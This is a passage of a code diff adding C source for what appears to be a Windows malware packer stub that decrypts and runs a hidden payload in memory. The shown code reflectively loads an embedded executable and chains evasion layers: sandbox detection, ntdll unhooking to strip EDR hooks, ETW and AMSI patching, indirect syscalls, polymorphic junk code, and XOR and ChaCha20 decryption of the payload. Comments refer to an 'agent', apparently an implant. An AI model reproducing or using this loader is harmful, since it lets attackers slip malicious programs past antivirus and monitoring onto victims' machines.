(opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size > 0) { + typedef BOOLEAN (WINAPI *fn_RtlAddFunctionTable)( + PRUNTIME_FUNCTION, DWORD, DWORD64); + HMODULE hNtdll = pLoadLibraryA("ntdll.dll"); + if (hNtdll) { + fn_RtlAddFunctionTable pRtlAddFunctionTable = + (fn_RtlAddFunctionTable)pGetProcAddress(hNtdll, "RtlAddFunctionTable"); + if (pRtlAddFunctionTable) { + PRUNTIME_FUNCTION funcTable = (PRUNTIME_FUNCTION)( + base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress); + DWORD numEntries = opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size + / sizeof(RUNTIME_FUNCTION); + pRtlAddFunctionTable(funcTable, numEntries, (DWORD64)base); + } + } + } +#endif + + /* Initialize static TLS (Thread Local Storage) for the loaded PE. + * + * The Windows loader normally handles this, but for reflective loading + * we must manually set up the TEB's ThreadLocalStoragePointer so that + * __declspec(thread) / __thread variable access works. The CRT accesses + * static TLS like this: + * + * mov eax, [__tls_index] ; PE's .tls AddressOfIndex (usually 0) + * mov rcx, gs:[0x58] ; TEB.ThreadLocalStoragePointer + * mov rdx, [rcx + rax*8] ; Module's TLS data block + * mov rax, [rdx + offset] ; Access the TLS variable + * + * This is DIFFERENT from dynamic TLS (TlsAlloc/TlsGetValue) which uses + * TEB.TlsSlots. We must NOT use TlsAlloc here — it's the wrong mechanism. + * + * Without this, MinGW CRT's errno, strtok state, rand seed, etc. will + * crash, killing the process before main() is ever reached. + */ + if (opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size > 0) { + DiagLog("LOADPE: TLS init (static)...\r\n"); + PIMAGE_TLS_DIRECTORY tls = (PIMAGE_TLS_DIRECTORY)( + base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress); + + /* Read the __tls_index from the PE. For a standalone EXE compiled + * by MinGW, this is typically 0 (set by the linker). */ + DWORD tlsIndex = 0; + if (tls->AddressOfIndex) + tlsIndex = *(DWORD *)(tls->AddressOfIndex); + DiagLogHex("LOADPE: __tls_index=", tlsIndex); + + /* Calculate TLS data size from the template */ + SIZE_T tlsDataSize = (SIZE_T)(tls->EndAddressOfRawData - tls->StartAddressOfRawData); + SIZE_T totalTlsSize = tlsDataSize + tls->SizeOfZeroFill; + DiagLogHex("LOADPE: TLS data size=", (uint32_t)totalTlsSize); + + if (totalTlsSize > 0) { + /* Allocate TLS data block for this thread */ + PVOID tlsData = NULL; + SIZE_T tlsAllocSize = totalTlsSize; + NTSTATUS tlsSt = IndirectNtAllocateVirtualMemory( + (HANDLE)-1, &tlsData, 0, &tlsAllocSize, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (tlsSt == 0 && tlsData) { + /* Copy initial TLS template data */ + LPBYTE src = (LPBYTE)tls->StartAddressOfRawData; + LPBYTE dst = (LPBYTE)tlsData; + for (SIZE_T j = 0; j < tlsDataSize; j++) + dst[j] = src[j]; + /* Zero-fill remainder is already zero from NtAllocate */ + + /* Write pointer into TEB.ThreadLocalStoragePointer[__tls_index]. + * This is the array the CRT reads via gs:[0x58] (x64) / fs:[0x2C] (x86). + * The OS loader pre-allocates this array for all loaded modules. */ +#ifdef _WIN64 + LPVOID *tlsArray = (LPVOID *)__readgsqword(0x58); +#else + LPVOID *tlsArray = (LPVOID *)__readfsdword(0x2C); +#endif + if (tlsArray) { + tlsArray[tlsIndex] = tlsData; + DiagLog("LOADPE: TLS data written to TEB\r\n"); + } else { + DiagLog("LOADPE: WARN TEB TLS array is NULL\r\n"); + } + } + } + + /* Call TLS callbacks */ + PIMAGE_TLS_CALLBACK *callbacks = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks; + if (callbacks) { + while (*callbacks) { + DiagLog("LOADPE: calling TLS callback\r\n"); + (*callbacks)((PVOID)base, DLL_PROCESS_ATTACH, NULL); + callbacks++; + } + } + } + + /* Save entry point RVA and header size before wiping source buffer + * (opt points into pe_data, so we must read them first) */ + DWORD entryRVA = opt->AddressOfEntryPoint; + DWORD sizeOfHeaders = opt->SizeOfHeaders; + + /* Wipe decrypted PE buffer */ + SecureZeroMemory(pe_data, pe_size); + + /* NOTE: Do NOT wipe PE headers before entry — the CRT's mainCRTStartup + * reads the PE headers (security cookie init, TLS, static initializers). + * Zeroing + PAGE_NOACCESS here causes an immediate access violation. + * Header wiping should be done post-CRT-init from within the agent. */ + + /* Jump to entry point (mainCRTStartup for EXEs with CRT) */ + DiagLogHex("LOADPE: entry RVA=", entryRVA); + DiagLogHex("LOADPE: entry addr=", (uint32_t)(uintptr_t)(base + entryRVA)); + DiagLog("LOADPE: jumping to entry\r\n"); + DiagClose(); + typedef int (*entry_point_fn)(void); + entry_point_fn entry = (entry_point_fn)(base + entryRVA); + return entry(); +} + +/* ====================================================================== + * WinMain - GUI subsystem entry point (no console window) + * ====================================================================== */ + +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + LPSTR lpCmdLine, int nCmdShow) { + (void)hInstance; (void)hPrevInstance; (void)lpCmdLine; (void)nCmdShow; + + DiagInit(); + DiagLog("STUB: entry\r\n"); + + /* Verify config was patched */ + if (g_Config.magic != STUB_CONFIG_MAGIC || g_Config.payload_size == 0) { + DiagLog("STUB: FAIL config magic/size\r\n"); + DiagClose(); + return 0; + } + DiagLogHex("STUB: payload_size=", g_Config.payload_size); + DiagLogHex("STUB: payload_rva=", g_Config.payload_rva); + + /* Layer 0: IAT padding — randomized benign API calls per build */ + iat_padding_init(); + + /* Touch padding data to prevent linker stripping */ + padding_touch(); + + /* Polymorphic junk code — varies binary layout per build */ + poly_stub_init(); + DiagLog("STUB: iat+poly done\r\n"); + + /* Layer 1: Sandbox detection */ +#ifndef SKIP_SANDBOX + DiagLog("STUB: sandbox check...\r\n"); + if (SandboxCheck()) { + DiagLog("STUB: FAIL sandbox (3+ checks triggered)\r\n"); + DiagClose(); + return 0; + } + DiagLog("STUB: sandbox passed\r\n"); +#else + DiagLog("STUB: sandbox SKIPPED\r\n"); +#endif + + /* Layer 2: Ntdll unhooking (removes EDR inline hooks) */ + int unhookResult = UnhookNtdll(); + DiagLogHex("STUB: unhook ntdll=", (uint32_t)unhookResult); + + /* Layer 3: ETW patching */ + PatchETW(); + DiagLog("STUB: etw patched\r\n"); + + /* Layer 3b: AMSI patching */ + PatchAMSI(); + DiagLog("STUB: amsi patched\r\n"); + + /* Layer 4: Initialize indirect syscalls */ + LPBYTE ntdllBase = (LPBYTE)StubGetModuleHandle(FH_NTDLL); + if (!ntdllBase) { + DiagLog("STUB: FAIL ntdll not found\r\n"); + DiagClose(); + return 0; + } + DiagLogHex("STUB: ntdll base=", (uint32_t)(uintptr_t)ntdllBase); + if (InitSyscalls(ntdllBase) != 0) { + DiagLog("STUB: FAIL InitSyscalls\r\n"); + DiagClose(); + return 0; + } + DiagLog("STUB: syscalls init OK\r\n"); + + /* Get our own image base to calculate .data1 section address */ + LPBYTE selfBase = (LPBYTE)GetPeb()->ImageBaseAddress; + if (!selfBase) { + DiagLog("STUB: FAIL selfBase null\r\n"); + DiagClose(); + return 0; + } + DiagLogHex("STUB: selfBase=", (uint32_t)(uintptr_t)selfBase); + + /* Locate the encrypted+flattened payload via RVA from config */ + uint8_t *flatPayload = selfBase + g_Config.payload_rva; + uint32_t payloadSize = g_Config.payload_size; + + /* Allocate buffer for decryption via indirect syscall */ + PVOID decBuf = NULL; + SIZE_T decSize = payloadSize; + NTSTATUS status = IndirectNtAllocateVirtualMemory( + (HANDLE)-1, &decBuf, 0, &decSize, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (status != 0 || !decBuf) { + DiagLogHex("STUB: FAIL NtAlloc dec status=", (uint32_t)status); + DiagClose(); + return 0; + } + DiagLog("STUB: decBuf allocated\r\n"); + + /* Layer 5: Reverse entropy flattening (regenerate pad from seed, XOR) */ + { + /* Allocate pad buffer on heap via indirect syscall */ + PVOID padBuf = NULL; + SIZE_T padAllocSize = ENTROPY_PAD_SIZE; + NTSTATUS padStatus = IndirectNtAllocateVirtualMemory( + (HANDLE)-1, &padBuf, 0, &padAllocSize, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (padStatus != 0 || !padBuf) { + DiagLogHex("STUB: FAIL NtAlloc pad status=", (uint32_t)padStatus); + SIZE_T fs = 0; + IndirectNtFreeVirtualMemory((HANDLE)-1, &decBuf, &fs, MEM_RELEASE); + DiagClose(); + return 0; + } + + generate_entropy_pad(g_Config.entropy_seed, (uint8_t *)padBuf, ENTROPY_PAD_SIZE); + + uint8_t *src = flatPayload; + uint8_t *dst = (uint8_t *)decBuf; + uint8_t *pad = (uint8_t *)padBuf; + for (uint32_t i = 0; i < payloadSize; i++) { + dst[i] = src[i] ^ pad[i % ENTROPY_PAD_SIZE]; + } + + /* Wipe and free pad */ + SecureZeroMemory(padBuf, ENTROPY_PAD_SIZE); + SIZE_T padFreeSize = 0; + IndirectNtFreeVirtualMemory((HANDLE)-1, &padBuf, &padFreeSize, MEM_RELEASE); + } + DiagLog("STUB: entropy deflat done\r\n"); + + /* Layer 6: ChaCha20 decryption (in-place on the de-flattened buffer) */ + { + uint8_t *temp = (uint8_t *)decBuf; + /* Copy key/nonce from volatile config to stack */ + uint8_t key[32], nonce[12]; + for (int i = 0; i < 32; i++) key[i] = g_Config.key[i]; + for (int i = 0; i < 12; i++) nonce[i] = g_Config.nonce[i]; + + /* Decrypt: we need a second buffer because chacha20 XORs in→out */ + PVOID plainBuf = NULL; + SIZE_T plainSize = payloadSize; + status = IndirectNtAllocateVirtualMemory( + (HANDLE)-1, &plainBuf, 0, &plainSize, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (status != 0 || !plainBuf) { + DiagLogHex("STUB: FAIL NtAlloc plain status=", (uint32_t)status); + SIZE_T freeSize = 0; + IndirectNtFreeVirtualMemory((HANDLE)-1, &decBuf, &freeSize, MEM_RELEASE); + DiagClose(); + return 0; + } + + chacha20_decrypt(key, nonce, temp, (uint8_t *)plainBuf, payloadSize); + DiagLog("STUB: chacha20 decrypt done\r\n"); + + /* Wipe key, nonce, intermediate buffer */ + SecureZeroMemory(key, sizeof(key)); + SecureZeroMemory(nonce, sizeof(nonce)); + SecureZeroMemory(decBuf, payloadSize); + SIZE_T freeSize = 0; + IndirectNtFreeVirtualMemory((HANDLE)-1, &decBuf, &freeSize, MEM_RELEASE); + + /* Verify decrypted PE has valid DOS header */ + { + uint8_t *p = (uint8_t *)plainBuf; + DiagLogHex("STUB: PE byte0=", (uint32_t)p[0]); + DiagLogHex("STUB: PE byte1=", (uint32_t)p[1]); + if (p[0] != 'M' || p[1] != 'Z') { + DiagLog("STUB: FAIL MZ check (decrypt bad)\r\n"); + freeSize = 0; + IndirectNtFreeVirtualMemory((HANDLE)-1, &plainBuf, &freeSize, MEM_RELEASE); + DiagClose(); + return 0; + } + } + DiagLog("STUB: MZ verified, calling LoadPE\r\n"); + + /* Layer 7: Load and execute the decrypted PE */ + int result = LoadPE((uint8_t *)plainBuf, payloadSize); + DiagLogHex("STUB: LoadPE returned=", (uint32_t)result); + + /* Cleanup (may not be reached if PE takes over) */ + freeSize = 0; + IndirectNtFreeVirtualMemory((HANDLE)-1, &plainBuf, &freeSize, MEM_RELEASE); + + DiagClose(); + return result; + } +}